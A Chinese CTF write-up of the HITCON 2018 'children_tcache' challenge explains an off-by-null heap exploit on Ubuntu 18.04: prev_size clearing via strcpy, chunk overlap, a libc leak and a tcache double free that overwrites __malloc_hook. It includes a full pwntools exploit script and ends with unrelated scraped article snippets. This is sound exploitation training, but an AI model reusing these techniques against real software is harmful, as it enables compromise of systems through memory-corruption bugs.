ubuntu18.04下的off-by-null:hitcon_2018_children_tcache
又没做出来,先说说自己的思路
因为是off-by-null,所以准备构造重叠的chunk,但是发现程序里有memset,给构造prev size造成重大问题
所以来详细记录一下做题过程
先逆向,IDA里几个重要的点来记录一下
然后程序没有edit功能
思路:申请四个chunk
0,1,2,3
1来溢出到2,改2的size和prevsize,然后free2,把0,1都包含进去,申请合适大小chunk,利用1来泄漏地址
再申请一个和1相同size的chunk,这时有两个指针指向1,来个double free(tcache yyds),然后申请一次,p64(malloc_hook),然后申请两次拿shell
难点也是关键点:如何修改prev size
- add(0x410,'unsorted bin') # 0
- add(0x68,'overflow') #1
- add(0x4f0,'lemon') # 2
- add(0x10,'protect') # 3
- free(0) # 之后y有unlink检查,所以我们先free一下,借助系统给我们的unsorted bin指针绕过检查
- free(1)
1号chunk 0x68是为了利用下一个chunk prevsize的复用
而且0号chunk 的size为unsorted bin大小是为了后面free2的时候向前合并可通过unlink 检查,这也是提前free 0的理由
可以看到这里prevsize由于free前的memset,很棘手,如果我们add的时候写入p64(size),那么由于我们不是直接写入的,而是strcpy的,所以遇到00就截断了,导致高位依然是0xda
这个时候有个很巧妙的处理方法,就是利用strcpy本身的特性,如果我们把前一块chunk free掉,add(0x67,0x67 * 'a'),那么chunk size还是0x71,2号chunk的prev size的高位会被'\x00'覆盖
而且当我们再次free的时候,memset(mem,0xda,mem_size),并不是将0x68的空间都置为0xda,而是将0x67的空间置为0xda,所以我们可以依次递减size,一直到prev size被置空
- for i in range(0,6):
- add(0x68-i,(0x68-i) * b'a')
- free(0)
我们先循环六次,看看堆空间的内存分布是怎么样的
可以看到这时的高位被有效置空了,所以我们只需要增大循环次数即可
- for i in range(0,9):
- add(0x68-i,(0x68-i) * b'a')
- free(0)
可以看到,这个时候prev size清空,而且size的in use位被置0
接下来伪造prev size,然后free 2,向前合并将1号chunk包含进去
- add(0x68,b'b' * 0x60 + p64(0x490)) # 0
- free(2) # 向前合并
成功向前合并
然后泄漏libc,这里的0x410是经过计算的,目的就是为了和heaparray中的指针对应起来,导致可泄漏libc
- add(0x410,'a') # 1,这个地方chunk size必须是0x420,否则无法泄漏libc
- show(0) # 此处由于add了0x418,然后原来的0x68大小的chunk就会作为新unsorted bin头部,自然也就包含了残留的堆指针,而且此时我们并没有free它
- leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10
- print("[*] leak:",hex(leak))
接下来我们再申请0x68大小的chunk,这时就有两个堆指针指向同一块内存区域了(原先的1号chunk 0x68)
所以我们可以free两次,在fd写入__malloc_hook,然后在malloc hook部分写入gadget
- add(0x68,'b') # 2
- free(0) # 此时0和2指向同一块chunk
- free(2) # double free,可以change fd pointer了
- one_gadget_list = [0x4f2c5,0x4f322,0x10a38c]
- one_gadget = libc_base + one_gadget_list[2]
- add(0x68,p64(__malloc_hook))
- add(0x68,'lemon')
- add(0x68,p64(one_gadget))
总结模板化一下
ubuntu18下可以用这种模版来打off-by-null,16不适用,因为后面有个double free的操作
add(size0,index 0) <--unsorted bin
add(size1,index 1)
add(size2,index 2)
add(size protected,index 3)
free(0)
通过1来overflow 2,写入prev size 和 size2 in use
free(2)
add(size0)
leak libc by show 1
add(size1 , index 4) <-- 1和4都指向了同一块内存
free(1) free(4)
add
add
add
getshell
下面是完整exp
- from pwn import *
- '''
- author: lemon
- time: 2020-10-17
- libc: libc-2.23.so
- python version: python3
- '''
- local = 1
- binary = "./HITCON_2018_children_tcache"
- libc_path = './libc-2.27.so'
- port = "26851"
- if local == 1:
- p = process(binary)
- else:
- p = remote("node3.buuoj.cn",port)
- def dbg():
- context.log_level = 'debug'
- context.terminal = ['tmux','splitw','-h']
- def add(size,content):
- p.sendlineafter('Your choice: ','1')
- p.sendlineafter('Size:',str(size))
- p.sendafter('Data:',content)
- def free(index):
- p.sendlineafter('Your choice:','3')
- p.sendlineafter('Index:',str(index))
- def show(index):
- p.sendlineafter('Your choice: ','2')
- p.sendlineafter('Index:',str(index))
- def leak_libc(addr):
- global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
- libc = ELF(libc_path)
- libc_base = addr - libc.sym['__malloc_hook']
- print("[*] libc base:",hex(libc_base))
- __malloc_hook = libc_base + libc.sym['__malloc_hook']
- system = libc_base + libc.sym['system']
- binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
- __free_hook = libc_base + libc.sym['__free_hook']
- _IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
- add(0x410,'unsorted bin') # 0
- add(0x68,'overflow') #1
- add(0x4f0,'lemon') # 2
- add(0x10,'protect') # 3
- free(0) # 之后有unlink检查,所以我们先free一下,借助系统给我们的unsorted bin指针绕过检查
- free(1)
- for i in range(0,9):
- add(0x68-i,(0x68-i) * b'a')
- free(0)
- add(0x68,b'b' * 0x60 + p64(0x490)) # 0
- free(2) # 向前合并
- add(0x410,'a') # 1,这个地方chunk size必须是0x420,否则无法泄漏libc
- show(0) # 此处由于add了0x418,然后原来的0x68大小的chunk就会作为新unsorted bin头部,自然也就包含了残留的堆指针,而且此时我们并没有free它
- leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10
- print("[*] leak:",hex(leak))
- leak_libc(leak)
- add(0x68,'b') # 2
- free(0) # 此时0和2指向同一块chunk
- free(2) # double free,可以change fd pointer了
- one_gadget_list = [0x4f2c5,0x4f322,0x10a38c]
- one_gadget = libc_base + one_gadget_list[2]
- add(0x68,p64(__malloc_hook))
- add(0x68,'lemon')
- add(0x68,p64(one_gadget))
- gdb.attach(p)
- p.interactive()
ubuntu18.04下的off-by-null:hitcon_2018_children_tcache的更多相关文章
- Ubuntu18.04下安装搜狗输入法
Ubuntu18.04下安装搜狗输入法 第一步:安装 fcitx输入框架 sudo apt-get install fcitx 第二步:在官网下载 Linux 版本搜狗输入法 https://piny ...
- Ubuntu18.04下给PyCharm创建快捷方式
Ubuntu18.04下给PyCharm创建快捷方式 该方法 WebStorm.PyCharm.Clion 等都适用. 步骤 终端输入: sudo gedit /usr/share/applicati ...
- ubuntu18.04 下利用conda安装opencv3
ubuntu18.04 下利用conda安装opencv3 安装opencv3 conda install -c https://conda.anaconda.org/menpo opencv3 出现 ...
- ubuntu18.04下安装mysql后无法用mysqlworkbench访问
问题描述:我在ubuntu18.04下执行以下命令安装mysql时遇到了mysqlworkbench无法连接root用户的问题.ubuntu18.04下默认安装mysql时是5.7版本的,但是5.7版 ...
- Ubuntu18.04下安装MySQL
Ubuntu上安装MySQL非常简单只需要几条命令就可以完成. 1. sudo apt-get install mysql-server 2. apt-get isntall mysql-client ...
- Ubuntu18.04下搭建LAMP环境
一.Apache2 web 服务器的安装 : 可以先更新一下服务器 1.sudo apt-get update # 获取最新资源包 2.sudo apt-get upgrade ...
- Ubuntu18.04下的音频录制和编辑软件Ardour及QjackCtl(jackd gui)
Ardour 是一个Linux和OSX下的多音轨录制和数字音频编辑软件. 需要配合ALSA或者JACK总线使用. 快速入门 http://brunoruviaro.github.io/ardour4- ...
- Ubuntu18.04下的 Android Studio 3.1.2
Android Studio安装 参考官网上的安装说明 # 安装依赖 :i386 lib32z1 libbz2-1.0:i386 安装openjdk (Update 2018-08-21: 这次重装U ...
- Centos5, 6, 以及Ubuntu18.04下更改系统时间和时区
http://www.namhuy.net/2435/how-to-change-date-time-timezone-on-centos-6.html 查看日期(使用 -R 参数会以数字显示时区) ...
- ubuntu18.04下挂载网络文件系统失败【学习笔记】
作者:庄泽彬(欢迎转载,请注明作者) PC: ubuntu18.04 说明: 之前ubuntu16.04下搭建的环境,开发板挂载网络文件系统是ok的,但是换到ubuntu18.04在启动的时候 ...
随机推荐
- 用ThreadLocal来优化下代码吧
最近接手了一个老项目,看到一个很有意思的现象. 这个项目中大量的方法入参都会带上user信息,比如这样 它的意图是希望在方法内使用user的信息,但是如此大范围的传递用户信息,第一感觉就是不优雅.那有 ...
- Spring Cloud系列(二):Eureka应用详解
一.注册中心 1.注册中心演变过程 2.注册中心必备功能 ① 服务的上线 ② 服务的下线 ③ 服务的剔除 ④ 服务的查询 ⑤ 注册中心HA ⑥ 注册中心节点数据同步 ⑦ 服务信息的存储,比如mysql ...
- 【Python】数据结构
列表的更多特性 list.append(x) 在列表的末尾添加一个元素.相当于 a[len(a):] = [x] . list.extend(iterable) 使用可迭代对象中的所有元素来扩展列表. ...
- 如何学习iOS开发?iOS Developer Library足矣!
记得上高中的时候,寄信请教二哥学习经验,二哥来信介绍学习经验说:资料书要快速阅读,把书上的题做完,然后再买几套资料书(习题集)继续练习. 这是二哥的经验,因为他自学能力强,可以消化多套资料书. 我仿照 ...
- C# 中的延时的方法。
转载:https://blog.csdn.net/caixiexin/article/details/5769121 System.Threading.Thread.Sleep(2000); 其中20 ...
- Arduino各开发板
参考来源:https://www.arduino.cn/thread-42417-1-1.html 查了好久,发现除了奈何等等几位大神总结过arduino各板子之间的性能.差异,没有很新的分析文章,在 ...
- 完全小白入门:python的下载和安装
1. 打开官网www.python.org,选择Downloads
- node-macaddress
下载 node-macaddressnode-macaddress 检索Linux.OS X和Windows中的MAC地址. 关于MAC地址的一个常见误解是,每个主机只有一个MAC地址, 虽然一个主机 ...
- GDB 调试 .NET 程序实录 - .NET 调用 .so 出现问题怎么解决
注:本文重要信息使用 *** 屏蔽关键字. 最近国庆前,项目碰到一个很麻烦的问题,这个问题让我们加班到凌晨三点. 大概背景: 客户给了一些 C语言 写的 SDK 库,这些库打包成 .so 文件,然后我 ...
- shell-整数测试多范例多生产案例举例
1. 整数测试举例范例1:整数条件测试举例 root@test-1 ~]# a1=10;a2=13 [root@test-1 ~]# echo $a1 $a2 10 13 [root@test-1 ~ ...